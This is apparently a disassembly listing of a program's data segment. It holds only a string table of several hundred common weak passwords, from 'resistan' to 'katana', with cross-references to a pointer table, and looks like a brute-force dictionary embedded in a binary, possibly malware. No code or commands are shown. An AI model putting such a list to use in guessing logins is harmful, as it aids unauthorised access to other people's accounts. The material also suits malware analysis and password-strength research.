aResistan db 'resistan',0 ; DATA XREF: seg001:0042D7BCo
align 10h
aRepublic db 'republic',0 ; DATA XREF: seg001:0042D7B8o
align 4
aReport db 'report',0 ; DATA XREF: seg001:0042D7B4o
align 4
aRent db 'rent',0 ; DATA XREF: seg001:0042D7B0o
align 4
aReno db 'reno',0 ; DATA XREF: seg001:0042D7ACo
align 4
aRenee db 'renee',0 ; DATA XREF: seg001:0042D7A8o
align 4
aRemote db 'remote',0 ; DATA XREF: seg001:0042D7A4o
align 4
aRelease db 'release',0 ; DATA XREF: seg001:0042D7A0o
aRegional db 'regional',0 ; DATA XREF: seg001:0042D79Co
align 4
aReferenc db 'referenc',0 ; DATA XREF: seg001:0042D798o
align 4
aRedhead db 'redhead',0 ; DATA XREF: seg001:0042D794o
aReddawn db 'reddawn',0 ; DATA XREF: seg001:0042D790o
aRecord db 'record',0 ; DATA XREF: seg001:0042D78Co
align 4
aRebel db 'rebel',0 ; DATA XREF: seg001:0042D788o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: seg001:0042D784o
aRebal db 'rebal',0 ; DATA XREF: seg001:0042D780o
align 4
aReaper db 'reaper',0 ; DATA XREF: seg001:0042D77Co
align 4
aReam db 'ream',0 ; DATA XREF: seg001:0042D778o
align 4
aReally db 'really',0 ; DATA XREF: seg001:0042D774o
align 4
aReality db 'reality',0 ; DATA XREF: seg001:0042D770o
aReagan db 'reagan',0 ; DATA XREF: seg001:0042D76Co
align 4
aRazor db 'razor',0 ; DATA XREF: seg001:0042D768o
align 4
aRascal db 'rascal',0 ; DATA XREF: seg001:0042D764o
align 4
aRape db 'rape',0 ; DATA XREF: seg001:0042D760o
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: seg001:0042D758o
aRaindrop db 'raindrop',0 ; DATA XREF: seg001:0042D754o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: seg001:0042D750o
aRain db 'rain',0 ; DATA XREF: seg001:0042D74Co
align 4
aRaid db 'raid',0 ; DATA XREF: seg001:0042D748o
align 10h
aRachmani db 'rachmani',0 ; DATA XREF: seg001:0042D744o
align 4
aRachelle db 'rachelle',0 ; DATA XREF: seg001:0042D740o
align 4
aRachel db 'rachel',0 ; DATA XREF: seg001:0042D73Co
align 10h
aRabbit db 'rabbit',0 ; DATA XREF: seg001:0042D738o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: seg001:0042D734o
; seg001:0042E48Co
align 10h
aQwert db 'qwert',0 ; DATA XREF: seg001:0042D730o
; seg001:0042E488o
align 4
aQuebec db 'quebec',0 ; DATA XREF: seg001:0042D72Co
align 10h
aPussy db 'pussy',0 ; DATA XREF: seg001:0042D728o
align 4
aPuppet db 'puppet',0 ; DATA XREF: seg001:0042D724o
align 10h
aPunk db 'punk',0 ; DATA XREF: seg001:0042D720o
align 4
aPunisher db 'punisher',0 ; DATA XREF: seg001:0042D71Co
align 4
aPuneet db 'puneet',0 ; DATA XREF: seg001:0042D718o
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: seg001:0042D714o
aPuke db 'puke',0 ; DATA XREF: seg001:0042D710o
align 4
aPuck db 'puck',0 ; DATA XREF: seg001:0042D70Co
align 4
aPublic db 'public',0 ; DATA XREF: seg001:0042D708o
align 4
aPsychopa db 'psychopa',0 ; DATA XREF: seg001:0042D704o
align 4
aPsycho db 'psycho',0 ; DATA XREF: seg001:0042D700o
align 10h
aProtozoa db 'protozoa',0 ; DATA XREF: seg001:0042D6FCo
align 4
aProtect db 'protect',0 ; DATA XREF: seg001:0042D6F8o
aPrompt db 'prompt',0 ; DATA XREF: seg001:0042D6F4o
align 4
aProgram db 'program',0 ; DATA XREF: seg001:0042D6F0o
aProfile db 'profile',0 ; DATA XREF: seg001:0042D6ECo
aProfesso db 'professo',0 ; DATA XREF: seg001:0042D6E8o
align 4
aProcesso db 'processo',0 ; DATA XREF: seg001:0042D6E4o
align 4
aProceed db 'proceed',0 ; DATA XREF: seg001:0042D6E0o
aPrivs db 'privs',0 ; DATA XREF: seg001:0042D6DCo
align 4
aPrivate db 'private',0 ; DATA XREF: seg001:0042D6D8o
aPriv db 'priv',0 ; DATA XREF: seg001:0042D6D4o
align 4
aPrinter db 'printer',0 ; DATA XREF: seg001:0042D6D0o
aPrinceto db 'princeto',0 ; DATA XREF: seg001:0042D6CCo
align 4
aPrince db 'prince',0 ; DATA XREF: seg001:0042D6C8o
align 10h
aPresto db 'presto',0 ; DATA XREF: seg001:0042D6C4o
align 4
aPrelude db 'prelude',0 ; DATA XREF: seg001:0042D6C0o
aPrecious db 'precious',0 ; DATA XREF: seg001:0042D6BCo
align 4
aPraise db 'praise',0 ; DATA XREF: seg001:0042D6B8o
align 4
aPower db 'power',0 ; DATA XREF: seg001:0042D6B4o
align 4
aPoster db 'poster',0 ; DATA XREF: seg001:0042D6B0o
align 4
aPost db 'post',0 ; DATA XREF: seg001:0042D6ACo
align 4
aPorsche db 'porsche',0 ; DATA XREF: seg001:0042D6A8o
aPorno db 'porno',0 ; DATA XREF: seg001:0042D6A4o
align 4
aPorn db 'porn',0 ; DATA XREF: seg001:0042D6A0o
align 4
aPork db 'pork',0 ; DATA XREF: seg001:0042D69Co
align 4
aPoor db 'poor',0 ; DATA XREF: seg001:0042D698o
align 4
aPoop db 'poop',0 ; DATA XREF: seg001:0042D694o
align 4
aPonderin db 'ponderin',0 ; DATA XREF: seg001:0042D690o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: seg001:0042D68Co
align 4
aPolly db 'polly',0 ; DATA XREF: seg001:0042D688o
align 4
aPolice db 'police',0 ; DATA XREF: seg001:0042D684o
align 4
aPoetry db 'poetry',0 ; DATA XREF: seg001:0042D680o
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: seg001:0042D67Co
align 4
aPluto db 'pluto',0 ; DATA XREF: seg001:0042D678o
align 10h
aPlover db 'plover',0 ; DATA XREF: seg001:0042D674o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: seg001:0042D670o
aPlane db 'plane',0 ; DATA XREF: seg001:0042D66Co
align 4
aPizza db 'pizza',0 ; DATA XREF: seg001:0042D668o
align 10h
aPiss db 'piss',0 ; DATA XREF: seg001:0042D664o
align 4
aPinname db 'pinname',0 ; DATA XREF: seg001:0042D660o
aPimp db 'pimp',0 ; DATA XREF: seg001:0042D65Co
align 4
aPierre db 'pierre',0 ; DATA XREF: seg001:0042D658o
align 10h
aPick db 'pick',0 ; DATA XREF: seg001:0042D654o
align 4
aPhuck db 'phuck',0 ; DATA XREF: seg001:0042D650o
align 10h
aPhreak db 'phreak',0 ; DATA XREF: seg001:0042D64Co
align 4
aPhrase db 'phrase',0 ; DATA XREF: seg001:0042D648o
align 10h
aPhrack db 'phrack',0 ; DATA XREF: seg001:0042D644o
align 4
aPhoton db 'photon',0 ; DATA XREF: seg001:0042D640o
align 10h
aPhone db 'phone',0 ; DATA XREF: seg001:0042D63Co
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: seg001:0042D638o
aPhilip db 'philip',0 ; DATA XREF: seg001:0042D634o
align 4
aPhil db 'phil',0 ; DATA XREF: seg001:0042D630o
align 10h
aPeter db 'peter',0 ; DATA XREF: seg001:0042D62Co
align 4
aPete db 'pete',0 ; DATA XREF: seg001:0042D628o
align 10h
aPervert db 'pervert',0 ; DATA XREF: seg001:0042D624o
aPersona db 'persona',0 ; DATA XREF: seg001:0042D620o
aPersimmo db 'persimmo',0 ; DATA XREF: seg001:0042D61Co
align 4
aPermit db 'permit',0 ; DATA XREF: seg001:0042D618o
align 4
aPerfect db 'perfect',0 ; DATA XREF: seg001:0042D614o
aPercolat db 'percolat',0 ; DATA XREF: seg001:0042D610o
align 4
aPepper db 'pepper',0 ; DATA XREF: seg001:0042D60Co
align 10h
aPeoria db 'peoria',0 ; DATA XREF: seg001:0042D608o
align 4
aPentium db 'pentium',0 ; DATA XREF: seg001:0042D604o
aPenthous db 'penthous',0 ; DATA XREF: seg001:0042D600o
align 4
aPentagra db 'pentagra',0 ; DATA XREF: seg001:0042D5FCo
align 4
aPentagon db 'pentagon',0 ; DATA XREF: seg001:0042D5F8o
align 4
aPenname db 'penname',0 ; DATA XREF: seg001:0042D5F4o
aPenis db 'penis',0 ; DATA XREF: seg001:0042D5F0o
align 4
aPenguin db 'penguin',0 ; DATA XREF: seg001:0042D5ECo
aPenelope db 'penelope',0 ; DATA XREF: seg001:0042D5E8o
align 4
aPencil db 'pencil',0 ; DATA XREF: seg001:0042D5E4o
align 10h
aPecker db 'pecker',0 ; DATA XREF: seg001:0042D5E0o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: seg001:0042D5DCo
aPaula db 'paula',0 ; DATA XREF: seg001:0042D5D8o
align 4
aPatty db 'patty',0 ; DATA XREF: seg001:0042D5D4o
align 10h
aPatriot db 'patriot',0 ; DATA XREF: seg001:0042D5D0o
aPatricia db 'patricia',0 ; DATA XREF: seg001:0042D5CCo
align 4
aPaste db 'paste',0 ; DATA XREF: seg001:0042D5C8o
align 4
aPassphra db 'passphra',0 ; DATA XREF: seg001:0042D5C4o
align 4
aPascal db 'pascal',0 ; DATA XREF: seg001:0042D5C0o
align 10h
aPapers db 'papers',0 ; DATA XREF: seg001:0042D5BCo
align 4
aPaper db 'paper',0 ; DATA XREF: seg001:0042D5B8o
align 10h
aPapa db 'papa',0 ; DATA XREF: seg001:0042D5B4o
align 4
aPamela db 'pamela',0 ; DATA XREF: seg001:0042D5B0o
align 10h
aPakistan db 'pakistan',0 ; DATA XREF: seg001:0042D5ACo
align 4
aPaint db 'paint',0 ; DATA XREF: seg001:0042D5A8o
align 4
aPainless db 'painless',0 ; DATA XREF: seg001:0042D5A4o
align 10h
aPacker db 'packer',0 ; DATA XREF: seg001:0042D5A0o
align 4
aPackard db 'packard',0 ; DATA XREF: seg001:0042D59Co
aPacific db 'pacific',0 ; DATA XREF: seg001:0042D598o
aOxford db 'oxford',0 ; DATA XREF: seg001:0042D594o
align 10h
aOutside db 'outside',0 ; DATA XREF: seg001:0042D590o
aOutput db 'output',0 ; DATA XREF: seg001:0042D58Co
align 10h
aOutlaw db 'outlaw',0 ; DATA XREF: seg001:0042D588o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: seg001:0042D584o
align 4
aOsiris db 'osiris',0 ; DATA XREF: seg001:0042D580o
align 4
aOscar db 'oscar',0 ; DATA XREF: seg001:0042D57Co
align 4
aOrwell db 'orwell',0 ; DATA XREF: seg001:0042D578o
align 4
aOrient db 'orient',0 ; DATA XREF: seg001:0042D574o
align 4
aOrca db 'orca',0 ; DATA XREF: seg001:0042D570o
align 4
aOperator db 'operator',0 ; DATA XREF: seg001:0042D56Co
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: seg001:0042D568o
align 4
aOpenlock db 'openlock',0 ; DATA XREF: seg001:0042D564o
align 10h
aOpening db 'opening',0 ; DATA XREF: seg001:0042D560o
aOmega db 'omega',0 ; DATA XREF: seg001:0042D558o
align 10h
aOlivia db 'olivia',0 ; DATA XREF: seg001:0042D554o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: seg001:0042D550o
align 4
aOldage db 'oldage',0 ; DATA XREF: seg001:0042D54Co
align 4
aOkay db 'okay',0 ; DATA XREF: seg001:0042D548o
align 4
aOffice db 'office',0 ; DATA XREF: seg001:0042D544o
align 4
aOcelot db 'ocelot',0 ; DATA XREF: seg001:0042D540o
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: seg001:0042D53Co
align 10h
aObscurit db 'obscurit',0 ; DATA XREF: seg001:0042D538o
align 4
aNyquist db 'nyquist',0 ; DATA XREF: seg001:0042D534o
aNuts db 'nuts',0 ; DATA XREF: seg001:0042D530o
align 4
aNutritio db 'nutritio',0 ; DATA XREF: seg001:0042D52Co
align 4
aNumber db 'number',0 ; DATA XREF: seg001:0042D528o
align 10h
aNull_1 db 'null',0 ; DATA XREF: seg001:0042D524o
align 4
aNukem db 'nukem',0 ; DATA XREF: seg001:0042D520o
align 10h
aNuke db 'nuke',0 ; DATA XREF: seg001:0042D51Co
align 4
aNude db 'nude',0 ; DATA XREF: seg001:0042D518o
align 10h
aNuclear db 'nuclear',0 ; DATA XREF: seg001:0042D514o
aNoxious db 'noxious',0 ; DATA XREF: seg001:0042D510o
aNovember db 'november',0 ; DATA XREF: seg001:0042D50Co
align 4
aNovel db 'novel',0 ; DATA XREF: seg001:0042D508o
align 4
aNova db 'nova',0 ; DATA XREF: seg001:0042D504o
align 4
aNoth db 'noth',0 ; DATA XREF: seg001:0042D500o
align 4
aNotes db 'notes',0 ; DATA XREF: seg001:0042D4FCo
align 4
aNoreen db 'noreen',0 ; DATA XREF: seg001:0042D4F8o
align 4
aNode db 'node',0 ; DATA XREF: seg001:0042D4F4o
align 4
aNobody db 'nobody',0 ; DATA XREF: seg001:0042D4F0o
align 4
aNoble db 'noble',0 ; DATA XREF: seg001:0042D4ECo
align 4
aNnaacp db 'nnaacp',0 ; DATA XREF: seg001:0042D4E8o
align 4
aNita db 'nita',0 ; DATA XREF: seg001:0042D4E4o
align 4
aNintendo db 'nintendo',0 ; DATA XREF: seg001:0042D4E0o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: seg001:0042D4DCo
align 4
aNight db 'night',0 ; DATA XREF: seg001:0042D4D8o
align 4
aNicotine db 'nicotine',0 ; DATA XREF: seg001:0042D4D4o
align 4
aNicole db 'nicole',0 ; DATA XREF: seg001:0042D4D0o
align 10h
aNice db 'nice',0 ; DATA XREF: seg001:0042D4CCo
align 4
aNext db 'next',0 ; DATA XREF: seg001:0042D4C8o
align 10h
aNewyork db 'newyork',0 ; DATA XREF: seg001:0042D4C4o
aNewton db 'newton',0 ; DATA XREF: seg001:0042D4C0o
align 10h
aNewsgrou db 'newsgrou',0 ; DATA XREF: seg001:0042D4BCo
align 4
aNews db 'news',0 ; DATA XREF: seg001:0042D4B8o
align 4
aNewborn db 'newborn',0 ; DATA XREF: seg001:0042D4B4o
aNetwork_0 db 'network',0 ; DATA XREF: seg001:0042D4B0o
aNetscape db 'netscape',0 ; DATA XREF: seg001:0042D4ACo
align 10h
aNess db 'ness',0 ; DATA XREF: seg001:0042D4A8o
align 4
aNeptune db 'neptune',0 ; DATA XREF: seg001:0042D4A4o
aNepenthe db 'nepenthe',0 ; DATA XREF: seg001:0042D4A0o
align 4
aNavy db 'navy',0 ; DATA XREF: seg001:0042D49Co
align 4
aNasa db 'nasa',0 ; DATA XREF: seg001:0042D498o
align 4
aNapoleon db 'napoleon',0 ; DATA XREF: seg001:0042D494o
align 4
aNancy db 'nancy',0 ; DATA XREF: seg001:0042D490o
align 10h
aName db 'name',0 ; DATA XREF: seg001:0042D48Co
align 4
aNagel db 'nagel',0 ; DATA XREF: seg001:0042D488o
align 10h
aMutant db 'mutant',0 ; DATA XREF: seg001:0042D484o
align 4
aMuppets db 'muppets',0 ; DATA XREF: seg001:0042D480o
aMsdos db 'msdos',0 ; DATA XREF: seg001:0042D47Co
align 4
aMpeg db 'mpeg',0 ; DATA XREF: seg001:0042D478o
align 10h
aMozart db 'mozart',0 ; DATA XREF: seg001:0042D474o
align 4
aMovies db 'movies',0 ; DATA XREF: seg001:0042D470o
align 10h
aMovie db 'movie',0 ; DATA XREF: seg001:0042D46Co
align 4
aMove db 'move',0 ; DATA XREF: seg001:0042D468o
align 10h
aMouse db 'mouse',0 ; DATA XREF: seg001:0042D464o
align 4
aMountain db 'mountain',0 ; DATA XREF: seg001:0042D460o
align 4
aMosaic db 'mosaic',0 ; DATA XREF: seg001:0042D45Co
align 4
aMortgage db 'mortgage',0 ; DATA XREF: seg001:0042D458o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: seg001:0042D454o
align 4
aMortal db 'mortal',0 ; DATA XREF: seg001:0042D450o
align 4
aMorris db 'morris',0 ; DATA XREF: seg001:0042D44Co
align 4
aMorley db 'morley',0 ; DATA XREF: seg001:0042D448o
align 4
aMore db 'more',0 ; DATA XREF: seg001:0042D444o
align 4
aMoose db 'moose',0 ; DATA XREF: seg001:0042D440o
align 4
aMoor db 'moor',0 ; DATA XREF: seg001:0042D43Co
align 4
aMoom db 'moom',0 ; DATA XREF: seg001:0042D438o
align 4
aMonica db 'monica',0 ; DATA XREF: seg001:0042D434o
align 4
aMonday db 'monday',0 ; DATA XREF: seg001:0042D430o
align 4
aMoguls db 'moguls',0 ; DATA XREF: seg001:0042D42Co
align 4
aMogul db 'mogul',0 ; DATA XREF: seg001:0042D428o
align 4
aModem db 'modem',0 ; DATA XREF: seg001:0042D424o
align 4
aMode db 'mode',0 ; DATA XREF: seg001:0042D420o
align 4
aMkii db 'mkii',0 ; DATA XREF: seg001:0042D41Co
align 4
aMission db 'mission',0 ; DATA XREF: seg001:0042D418o
aMisfit db 'misfit',0 ; DATA XREF: seg001:0042D414o
align 4
aMinsky db 'minsky',0 ; DATA XREF: seg001:0042D410o
align 4
aMinimum db 'minimum',0 ; DATA XREF: seg001:0042D40Co
aMine db 'mine',0 ; DATA XREF: seg001:0042D408o
align 4
aMike db 'mike',0 ; DATA XREF: seg001:0042D404o
align 4
aMidieval db 'midieval',0 ; DATA XREF: seg001:0042D400o
align 10h
aMicrosof db 'microsof',0 ; DATA XREF: seg001:0042D3FCo
align 4
aMicropro db 'micropro',0 ; DATA XREF: seg001:0042D3F8o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: seg001:0042D3F4o
align 4
aMicro db 'micro',0 ; DATA XREF: seg001:0042D3F0o
align 4
aMickey db 'mickey',0 ; DATA XREF: seg001:0042D3ECo
align 4
aMichelle db 'michelle',0 ; DATA XREF: seg001:0042D3E8o
align 10h
aMichele db 'michele',0 ; DATA XREF: seg001:0042D3E4o
aMichelan db 'michelan',0 ; DATA XREF: seg001:0042D3E0o
align 4
aMichel db 'michel',0 ; DATA XREF: seg001:0042D3DCo
align 4
aMichael db 'michael',0 ; DATA XREF: seg001:0042D3D8o
aMice db 'mice',0 ; DATA XREF: seg001:0042D3D4o
align 4
aMets db 'mets',0 ; DATA XREF: seg001:0042D3D0o
align 4
aMetalica db 'metalica',0 ; DATA XREF: seg001:0042D3CCo
align 10h
aMetalhea db 'metalhea',0 ; DATA XREF: seg001:0042D3C8o
align 4
aMetal db 'metal',0 ; DATA XREF: seg001:0042D3C4o
align 4
aMerlin db 'merlin',0 ; DATA XREF: seg001:0042D3C0o
align 4
aMercury db 'mercury',0 ; DATA XREF: seg001:0042D3BCo
aMenu db 'menu',0 ; DATA XREF: seg001:0042D3B8o
align 4
aMenace db 'menace',0 ; DATA XREF: seg001:0042D3B4o
align 4
aMemory db 'memory',0 ; DATA XREF: seg001:0042D3B0o
align 4
aMember db 'member',0 ; DATA XREF: seg001:0042D3ACo
align 4
aMelrose db 'melrose',0 ; DATA XREF: seg001:0042D3A8o
aMellon db 'mellon',0 ; DATA XREF: seg001:0042D3A4o
align 4
aMelissa db 'melissa',0 ; DATA XREF: seg001:0042D3A0o
aMegan db 'megan',0 ; DATA XREF: seg001:0042D39Co
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: seg001:0042D398o
align 10h
aMegabyte db 'megabyte',0 ; DATA XREF: seg001:0042D394o
align 4
aMeagan db 'meagan',0 ; DATA XREF: seg001:0042D390o
align 4
aMaurice db 'maurice',0 ; DATA XREF: seg001:0042D38Co
aMath db 'math',0 ; DATA XREF: seg001:0042D388o
align 4
aMaster db 'master',0 ; DATA XREF: seg001:0042D384o
align 4
aMason db 'mason',0 ; DATA XREF: seg001:0042D380o
align 4
aMary db 'mary',0 ; DATA XREF: seg001:0042D37Co
align 4
aMarvin db 'marvin',0 ; DATA XREF: seg001:0042D378o
align 4
aMarty db 'marty',0 ; DATA XREF: seg001:0042D374o
align 4
aMars db 'mars',0 ; DATA XREF: seg001:0042D370o
align 4
aMarriage db 'marriage',0 ; DATA XREF: seg001:0042D36Co
align 10h
aMarni db 'marni',0 ; DATA XREF: seg001:0042D368o
align 4
aMarkus db 'markus',0 ; DATA XREF: seg001:0042D364o
align 10h
aMark db 'mark',0 ; DATA XREF: seg001:0042D360o
align 4
aMarines db 'marines',0 ; DATA XREF: seg001:0042D35Co
aMarijuan db 'marijuan',0 ; DATA XREF: seg001:0042D358o
align 4
aMarietta db 'marietta',0 ; DATA XREF: seg001:0042D354o
align 4
aMariens db 'mariens',0 ; DATA XREF: seg001:0042D350o
aMaria db 'maria',0 ; DATA XREF: seg001:0042D34Co
align 4
aMarcy db 'marcy',0 ; DATA XREF: seg001:0042D348o
align 10h
aMarci db 'marci',0 ; DATA XREF: seg001:0042D344o
align 4
aMara db 'mara',0 ; DATA XREF: seg001:0042D340o
align 10h
aManager db 'manager',0 ; DATA XREF: seg001:0042D33Co
aMana db 'mana',0 ; DATA XREF: seg001:0042D338o
align 10h
aMalcom db 'malcom',0 ; DATA XREF: seg001:0042D334o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: seg001:0042D330o
aMaint db 'maint',0 ; DATA XREF: seg001:0042D32Co
align 4
aMail db 'mail',0 ; DATA XREF: seg001:0042D328o
align 10h
aMagnet db 'magnet',0 ; DATA XREF: seg001:0042D324o
align 4
aMagic db 'magic',0 ; DATA XREF: seg001:0042D320o
align 10h
aMaggot db 'maggot',0 ; DATA XREF: seg001:0042D31Co
align 4
aMacro db 'macro',0 ; DATA XREF: seg001:0042D318o
align 10h
aMack db 'mack',0 ; DATA XREF: seg001:0042D314o
align 4
aMacintos db 'macintos',0 ; DATA XREF: seg001:0042D310o
align 4
aMachine db 'machine',0 ; DATA XREF: seg001:0042D30Co
aLynne db 'lynne',0 ; DATA XREF: seg001:0042D308o
align 4
aLynn db 'lynn',0 ; DATA XREF: seg001:0042D304o
align 4
aLust db 'lust',0 ; DATA XREF: seg001:0042D300o
align 4
aLuke db 'luke',0 ; DATA XREF: seg001:0042D2FCo
align 4
aLude db 'lude',0 ; DATA XREF: seg001:0042D2F8o
align 4
aLucy db 'lucy',0 ; DATA XREF: seg001:0042D2F4o
align 4
aLucus db 'lucus',0 ; DATA XREF: seg001:0042D2F0o
align 4
aLuck db 'luck',0 ; DATA XREF: seg001:0042D2ECo
align 4
aLover db 'lover',0 ; DATA XREF: seg001:0042D2E8o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: seg001:0042D2E4o
aLouis db 'louis',0 ; DATA XREF: seg001:0042D2E0o
align 4
aLoser db 'loser',0 ; DATA XREF: seg001:0042D2DCo
align 4
aLorraine db 'lorraine',0 ; DATA XREF: seg001:0042D2D8o
align 4
aLorin db 'lorin',0 ; DATA XREF: seg001:0042D2D4o
align 10h
aLori db 'lori',0 ; DATA XREF: seg001:0042D2D0o
align 4
aLore db 'lore',0 ; DATA XREF: seg001:0042D2CCo
align 10h
aLoose db 'loose',0 ; DATA XREF: seg001:0042D2C8o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: seg001:0042D2C4o
align 10h
aLois db 'lois',0 ; DATA XREF: seg001:0042D2C0o
align 4
aLogout db 'logout',0 ; DATA XREF: seg001:0042D2BCo
align 10h
aLoginwor db 'loginwor',0 ; DATA XREF: seg001:0042D2B8o
align 4
aLogic db 'logic',0 ; DATA XREF: seg001:0042D2B4o
align 4
aLockword db 'lockword',0 ; DATA XREF: seg001:0042D2B0o
align 10h
aLockout db 'lockout',0 ; DATA XREF: seg001:0042D2ACo
aLock db 'lock',0 ; DATA XREF: seg001:0042D2A8o
align 10h
aLoad db 'load',0 ; DATA XREF: seg001:0042D2A4o
align 4
aLive db 'live',0 ; DATA XREF: seg001:0042D2A0o
align 10h
aLiteratu db 'literatu',0 ; DATA XREF: seg001:0042D29Co
align 4
aLisp db 'lisp',0 ; DATA XREF: seg001:0042D298o
align 4
aLisa db 'lisa',0 ; DATA XREF: seg001:0042D294o
align 4
aLips db 'lips',0 ; DATA XREF: seg001:0042D290o
align 4
aLion db 'lion',0 ; DATA XREF: seg001:0042D28Co
align 4
aLink db 'link',0 ; DATA XREF: seg001:0042D288o
align 4
aLinda db 'linda',0 ; DATA XREF: seg001:0042D284o
align 4
aLimited db 'limited',0 ; DATA XREF: seg001:0042D280o
aLimbaugh db 'limbaugh',0 ; DATA XREF: seg001:0042D27Co
align 10h
aLima db 'lima',0 ; DATA XREF: seg001:0042D278o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: seg001:0042D274o
align 4
aLight db 'light',0 ; DATA XREF: seg001:0042D270o
align 4
aLife db 'life',0 ; DATA XREF: seg001:0042D26Co
align 4
aLicker db 'licker',0 ; DATA XREF: seg001:0042D268o
align 4
aLick db 'lick',0 ; DATA XREF: seg001:0042D264o
align 4
aLibrary db 'library',0 ; DATA XREF: seg001:0042D260o
aLiberal db 'liberal',0 ; DATA XREF: seg001:0042D25Co
aLexluthe db 'lexluthe',0 ; DATA XREF: seg001:0042D258o
align 10h
aLewis db 'lewis',0 ; DATA XREF: seg001:0042D254o
align 4
aLetmein db 'letmein',0 ; DATA XREF: seg001:0042D250o
aLeslie db 'leslie',0 ; DATA XREF: seg001:0042D24Co
align 4
aLesbian db 'lesbian',0 ; DATA XREF: seg001:0042D248o
aLeroy db 'leroy',0 ; DATA XREF: seg001:0042D244o
align 4
aLeland db 'leland',0 ; DATA XREF: seg001:0042D240o
align 10h
aLegal db 'legal',0 ; DATA XREF: seg001:0042D23Co
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: seg001:0042D238o
align 4
aLeft db 'left',0 ; DATA XREF: seg001:0042D234o
align 4
aLebesgue db 'lebesgue',0 ; DATA XREF: seg001:0042D230o
align 4
aLeah db 'leah',0 ; DATA XREF: seg001:0042D22Co
align 10h
aLazer db 'lazer',0 ; DATA XREF: seg001:0042D228o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: seg001:0042D224o
aLava db 'lava',0 ; DATA XREF: seg001:0042D220o
align 4
aLaura db 'laura',0 ; DATA XREF: seg001:0042D21Co
align 10h
aLaser db 'laser',0 ; DATA XREF: seg001:0042D218o
align 4
aLarry db 'larry',0 ; DATA XREF: seg001:0042D214o
align 10h
aLarkin db 'larkin',0 ; DATA XREF: seg001:0042D210o
align 4
aLara db 'lara',0 ; DATA XREF: seg001:0042D20Co
align 10h
aLaptop db 'laptop',0 ; DATA XREF: seg001:0042D208o
align 4
aLana db 'lana',0 ; DATA XREF: seg001:0042D204o
align 10h
aLaminati db 'laminati',0 ; DATA XREF: seg001:0042D200o
align 4
aLambda db 'lambda',0 ; DATA XREF: seg001:0042D1FCo
align 4
aLakers db 'lakers',0 ; DATA XREF: seg001:0042D1F8o
align 4
aLadle db 'ladle',0 ; DATA XREF: seg001:0042D1F4o
align 4
aLadies db 'ladies',0 ; DATA XREF: seg001:0042D1F0o
align 4
aKristy db 'kristy',0 ; DATA XREF: seg001:0042D1ECo
align 4
aKristine db 'kristine',0 ; DATA XREF: seg001:0042D1E8o
align 10h
aKristin db 'kristin',0 ; DATA XREF: seg001:0042D1E4o
aKristie db 'kristie',0 ; DATA XREF: seg001:0042D1E0o
aKristi db 'kristi',0 ; DATA XREF: seg001:0042D1DCo
align 4
aKristen db 'kristen',0 ; DATA XREF: seg001:0042D1D8o
aKrista db 'krista',0 ; DATA XREF: seg001:0042D1D4o
align 4
aKnown db 'known',0 ; DATA XREF: seg001:0042D1D0o
align 10h
aKnightma db 'knightma',0 ; DATA XREF: seg001:0042D1CCo
align 4
aKnight db 'knight',0 ; DATA XREF: seg001:0042D1C8o
align 4
aKnife db 'knife',0 ; DATA XREF: seg001:0042D1C4o
align 4
aKlingon db 'klingon',0 ; DATA XREF: seg001:0042D1C0o
aKitten db 'kitten',0 ; DATA XREF: seg001:0042D1BCo
align 4
aKissmyas db 'kissmyas',0 ; DATA XREF: seg001:0042D1B8o
align 4
aKiss db 'kiss',0 ; DATA XREF: seg001:0042D1B4o
align 10h
aKirkland db 'kirkland',0 ; DATA XREF: seg001:0042D1B0o
align 4
aKirk db 'kirk',0 ; DATA XREF: seg001:0042D1ACo
align 4
aKing db 'king',0 ; DATA XREF: seg001:0042D1A8o
align 4
aKimberly db 'kimberly',0 ; DATA XREF: seg001:0042D1A4o
align 4
aKilo db 'kilo',0 ; DATA XREF: seg001:0042D1A0o
align 10h
aKillthem db 'killthem',0 ; DATA XREF: seg001:0042D19Co
align 4
aKill db 'kill',0 ; DATA XREF: seg001:0042D198o
align 4
aKids db 'kids',0 ; DATA XREF: seg001:0042D194o
align 4
aKeyword db 'keyword',0 ; DATA XREF: seg001:0042D190o
aKeyin db 'keyin',0 ; DATA XREF: seg001:0042D18Co
align 4
aKeybord db 'keybord',0 ; DATA XREF: seg001:0042D188o
aKewl db 'kewl',0 ; DATA XREF: seg001:0042D184o
align 4
aKevin db 'kevin',0 ; DATA XREF: seg001:0042D180o
align 4
aKerry db 'kerry',0 ; DATA XREF: seg001:0042D17Co
align 4
aKerrie db 'kerrie',0 ; DATA XREF: seg001:0042D178o
align 4
aKerri db 'kerri',0 ; DATA XREF: seg001:0042D174o
align 4
aKernel db 'kernel',0 ; DATA XREF: seg001:0042D170o
align 4
aKermit db 'kermit',0 ; DATA XREF: seg001:0042D16Co
align 4
aKeri db 'keri',0 ; DATA XREF: seg001:0042D168o
align 4
aKelly db 'kelly',0 ; DATA XREF: seg001:0042D164o
align 4
aKatrina db 'katrina',0 ; DATA XREF: seg001:0042D160o
aKatina db 'katina',0 ; DATA XREF: seg001:0042D15Co
align 4
aKathy db 'kathy',0 ; DATA XREF: seg001:0042D158o
align 4
aKathrine db 'kathrine',0 ; DATA XREF: seg001:0042D154o
align 10h
aKathleen db 'kathleen',0 ; DATA XREF: seg001:0042D150o
align 4
aKate db 'kate',0 ; DATA XREF: seg001:0042D14Co
align 4
aKatana db 'katana',0 ; DATA XREF: seg001:0042D148o
